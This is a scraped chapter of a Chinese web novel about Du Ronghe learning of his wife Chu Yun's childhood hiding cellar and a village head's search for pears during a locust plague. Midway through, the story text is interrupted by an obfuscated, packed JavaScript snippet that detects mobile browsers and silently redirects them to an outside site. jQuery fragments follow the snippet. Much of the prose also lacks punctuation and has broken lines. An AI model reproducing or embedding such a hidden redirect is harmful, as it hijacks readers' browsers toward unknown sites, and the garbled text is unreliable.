第168章 尾声(上)

作品:《清朝乡下女进城后

    杜容和让灌得两只腿走路都有些飘才抱着一小堆金银玉器去看媳妇。


    可他也是个心里不能存事的想马上进去看看楚韵吧回回往里进就跟吃着苍蝇似的难受想了半天杜容和还是决定先去柴房把两个混账叔伯处理了。


    李叔早在旁边等着了这孩子也是他看着长大的杜容和怎么做事他还真摸得准几分脉。


    李叔在前边带路却没往柴房带“胡大爷说柴房靠着厨房里头也有灶王爷的福气在把两个苟东西关在里边搞不好家里要瘟一整年。”


    杜容和看着去的方向在楚韵和楚老太太挖的小菜地那边心里一沉道:“胡大爷把他们关鸡圈去了?”


    李叔想了想叹气道:“要真是鸡圈就好了……”


    楚家老宅很大两边屋子也深有些地方年年久失修看着还有些骇人杜容和在这里住了几个月也没四处看过尤其菜地这块儿怪味甚多没事儿他也犯不着上这里来。


    果不其然向菜地走的这一路是更破败的一路。李叔提着红灯笼走在前边道:“丰年乡的屋子跟京里不大一样没规矩咱们分前后院楚家分前后左右后边和左边都是女眷住的地方。左边这块儿原来是修给小妾住的可楚家修好这个宅子差不多就败了这边儿也就没住过人所以是头一个败了的。”


    李叔说到这里指着一溜儿矮房道:“修葺屋子时奶奶没让修这儿说是老太太住过的旧居不让改这边儿也就修了修墙没修屋子。”


    李叔说的这些杜容和都知道毕竟他现在做的就是包打听楚家的情况他来丰年乡不到三天就摸清了只是楚韵不愿意说他便装作不知而已。


    实际上这里根本不是秦老太太的旧居而且楚韵和秦老太太在蝗灾时的躲藏之地菜地旁有三四个烂了的大水缸挪开右边第二个底下就有个洞洞下就是楚韵和老太太挖的地窖。


    但秦老太太那会儿都多少岁了?说是两个人挖的多半就是楚韵一个人花了不知道多少日子弄的。


    杜容和每每想来都望而却步不仅楚韵不想让他看见他自己其实也有些害怕看见当年还是个孩子的楚韵。


    她吃了多少苦头?这些苦头他的能承担吗?


    没想到胡大爷竟然把楚满楚进关到这里来了杜容和挪水缸看见了一间很小的地窖差不多只能放下两张小床旁边还放了个梯子。


    楚韵这个小小的地窖和秦老太太躲了大半年杜容和没下去只是蹲下来看了会儿


    想也知道在这么穷困的家里锄头是开垦的工具


    不能随意使用,像梳子之类的木制品对她来说更方便。


    杜容和凝神问道:“胡大爷来过这里?”


    李叔叔摇头:“乡里人不知道楚家有个地窖。


    楚家败了,可祖上有过钱,蝗灾时四处都是逃命的流民,家家户户都带着粮食到处躲藏,怕被流民抢了。


    楚家这么大,又只有两个妇孺,那些人进来,这儿是第一个遭的,但那会儿人缺吃的,楚家也没钱,翻来覆去也就是把宅子翻得更烂一些。


    胡里正带着胡大爷偷摸过来看过,两人找了几圈都没找着人,还以为奶奶和秦老太太人都没了。”


    其实楚韵存了两人份的粮食,躲在地下没吱声,她对丰年乡的感情远远比不过对秦老太太的感情,虽然操心认识的小伙伴,可要是在小伙伴的命里和她自己与老太太的命里选,丰年乡全死完了也不关她的事。


    杜容和刚来时打听到这里就发现了,楚韵幼年在乡下并不是个热心肠的人。


    李叔跟着何妈四处八卦,加上能在男人堆里走动,听见的更多,知道的也更多,他也纳闷儿道:“奶奶幼时跟如今,大不相同,也不知怎么变的。”


    杜容和知道原因,他看着破败的水缸道:“因为胡里正重走了当年王甜甜走过的路,冒着被生吞活剥的风险走遍了丰年乡周围,捡回来了两个野梨。”


    丰年乡虽然很少吃饱,但毁灭性的天灾人祸也不多见。尤其有王甜甜留下的梨子在,寻常的灾年,根本不会让乡民分寸大乱。可蝗虫过境寸草不生,哪里还有梨子可以分呢?


    那一年乡里人都有预感,可能丰年乡要到头了。


    胡里正的事,乡志没说,杜容和是提了一壶梨花酒亲自找胡里正问的。


    胡里正告诉他,胡家也躲了起来,他们是把祖先的坟挖开了藏在里边,但老藏着也不是法,尤其乡里也有不少年轻人不愿意做埋在土里的虫子。


    那些年轻人拿着锄头扁担出去赶人,有些比较混的流民就下了死手。杜容和记得乡志写的是当时有五个年轻人都差点没了。


    胡里正跟他说:“不止这个数!五个,那个是能写的,写多了多吓人,跟咱们大清要完了似的!”


    杜容和听到这里都有点想笑了,城里城外,这个倒是没变。


    胡里正接着说,“我当时挖坟已经十分熟练,两波人打架时,我就躲在一个坟里往外挖了龙眼大的洞看。”


    胡里正看见那些年轻人躺在地上,但丰年乡一百多户没有一个人站出来。


    胡里正这才真的心慌了,他想大声跳出来问——为什么你们都不帮忙?


    但他更想问自已,为什么自己也不出去,他是里正,如果丰年乡要


    死人第一个死的应该是他。


    胡里正跟杜容和道:“我从小胆子就不大我跟习文甜甜是一起长大的习文聪明甜甜也聪明一个笨人跟在聪明人身边得多难受?有时候我真盼着他们摔个狗吃屎倒个血霉什么的。”


    为了实现这个目标楚习文一学习、王甜甜一绣花胡里正就在窗外喊要去玩。


    但楚习文和王甜甜对胡里正很不错他们是真心把胡里正看成发小的胡里正就更难受了。


    等到楚习文和王甜甜说要打算成亲以后去京城胡里正也就单方面和他们不大来往了。


    王甜甜和楚习文是打算带上胡里正一起走的可胡里正不愿意。


    胡里正跟杜容和道:“那一年王甜甜给我梨子让我分下去我还问她是想叫我做这个里正还是真的想乡里平平安安的别出事。”


    王甜甜跟他说:“少臭美我当然是希望乡里平平安安的别出事。”


    胡里正当时信了一直到王甜甜和楚习文去世他才逐渐想明白道:“她是为了丰年乡也是为了我。甜甜就是这么聪明她总能同时做几桩事可我后来再也没有机会跟她说谢谢了。”


    所以当他躲在坟里目睹乡里人被流民围攻而满乡无一人援手时胡里正隐约听见有人在叫他——胡大胆起来!


    是楚习文和王甜甜。


    他们说老这么叫就能把狗熊喊成英雄。


    胡里正可不想当什么英雄他只想把日子过得比兄弟们好一头。


    可是那一刻他体会到了人心的冷漠要是找不到王甜甜的梨子来甜一甜人心那丰年乡就再也没有了。


    等人走了以后胡里正就让胡大爷去悄悄照顾那些年轻人他带了个背篼出门找梨子。


    楚习文和王甜甜都是很离经叛道的人胡里正跟着他们走过不少地方吃过许多野果都没被毒死。不过成家以后他就再也没去过那些地方。


    那天胡里正走了很多老路一路上树根都被扒了根本找不到粮食反而看见不少白骨。


    奇怪的是胡里正竟然没有怕他说:“总感觉是三个人一起走的。”


    还有一件事胡里正一直藏在心里。


    那天他走到天黑实在找不到梨子又不能无功而返最后胡乱找了个地方睡觉晚上他就梦见了小时候。


    王甜甜和、楚习文、胡大胆拉着两个人在乡里玩。玩了一会儿胡大胆就饿得心慌闹着要回去。


    王甜甜和楚习文拦着不让他走。


    王甜甜白白净净的


    还是不是人?”


    “饿了就找娘,没娘了怎么办?”楚习文长得俊秀,说话可不好听,他说:“今年


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998995|122140||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    年景不错,乡里长了好多水梨,她找到好几个没人发现的果树,我去摘两个给你吃,不过你吃了,就得叫我一声楚爹。”


    乡下没甜的吃,说到水果,胡大胆感觉又能走一会儿了,于是干脆利落地叫了声:“楚爹。”


    楚习文打了他两下,道:“几十岁了,一点长进没有。”


    胡大胆心说,他要什么长进,他都是里正了他还要长进到哪里去?


    哦,里正,胡大胆念了两遍这个词,脑子便有些模糊了,楚习文看着,又狠狠地打了他两下。


    胡大胆一生气,就给忘了。


    王甜甜和楚习文就在前边领着胡大胆走了半下午路,终于在一个小坡下边找到一梨子树。


    王甜甜说:“自己先吃一个再回去,知道吗?”


    胡大胆呸了一声,恶狠狠道:“什么一个,他要吃个饱好吗?”他爬在树上一连吃了五六个,醒来时嘴巴里都还有余味。


    醒来以后,胡里正就知道自己是做梦了,他抱着试一试的心态去了梦里的那个地方,结果真的找到了一颗梨子树!


    树早已经光秃秃的了,但树下石头缝里刚好卡了两颗梨子,胡大胆把它们捡起来带回了丰年乡。


    吃了梨子水唱了歌以后,乡人之间淡淡的隔阂又没有了,楚韵也带着秦老太太爬了上来。


    胡里正还组织了一个巡逻队,让儿子带着去撵人。这么收拾了两个月,丰年乡也慢慢恢复过来了。


    杜容和听胡里正说了以后便能断定,楚韵就是在这里对丰年乡的感情产生了变化,变成了一个她爹娘一样的人。


    楚满楚进被关在左边第三个屋子,杜容和把水缸挪回去,慢慢地走了进去。


    两个女人已经这么辛苦,为什么他们还想拿小韵的亲事换钱呢?


    杜容和很少有情绪特别激烈的时候,但这一可,他说真的恨不得世上没有楚满楚进这两个人。


    楚满楚进在漏风的破屋子里被扒得只剩条打了七八块补丁的里裤,胡大爷可没什么君子风度,虽然杜容和交代过不要把他们冻死,可楚满楚进是什么人,作为楚家的邻居,胡家人再清楚不过。


    把人关在进去以后,胡大爷让烧了会儿碳再慢慢把碳熄灭,这么一夜整个来回,两个人冻不死回家也得大病一场。


    早半个时辰,守门的两个大汉就在碳盆里撒了泡尿,两个人已经冻得话都说不出来。


    守门的看杜容和来了又点了盆碳,尿味儿让火一激,屋子里便格外难闻。


    杜容和看了两眼,见人没死,又放下帘子在外间站着。


    楚满楚进被捆着丢在地上,透过帘子底只能看见一双厚底皂靴。


    以前他们也穿过这种靴子,如果楚韵同意给乡里地主做小妾,他们也又能穿上。


    一切都让那个贱女人毁了!她怎么就不能乖乖听话呢?


    杜容和让人把楚满楚进嘴里的布取下来,又把那张写了加入造反香会的纸让人举给他们看。


    楚满楚进还想着套近乎,以为这个是姑爷知道抓错了人,专门补偿给他们的地契。


    有了这个乌龙,楚进都不觉得被关起来是坏事了,还想着可以趁此要求杜容和找那个地痞无赖,把他们加入造反香会的笔墨取回来。


    楚满甚至还笑了两声,觉得好日子差不多要来了。


    楚进爬过去多看了两眼,等看清楚是什么,就跟见了鬼似的尖叫起来。


    杜容和站在屋子里冷冷地看着楚满楚进,问:“你们还想不想活?要是想活命,以后就不要留在长青县以楚家人的名号行走。”


    “放你妈的屁!”楚进总算知道是怎么回事了,都是这两口子设的套要害他们呢!


    楚进气得大喘气,他可不是贪恋楚家人的名号,这楚姓也没什么好怀恋的,但丢了这个姓,他们怎么过呢?难不成做奴隶去?


    只有奴隶是没有名字的。


    不,他不同意!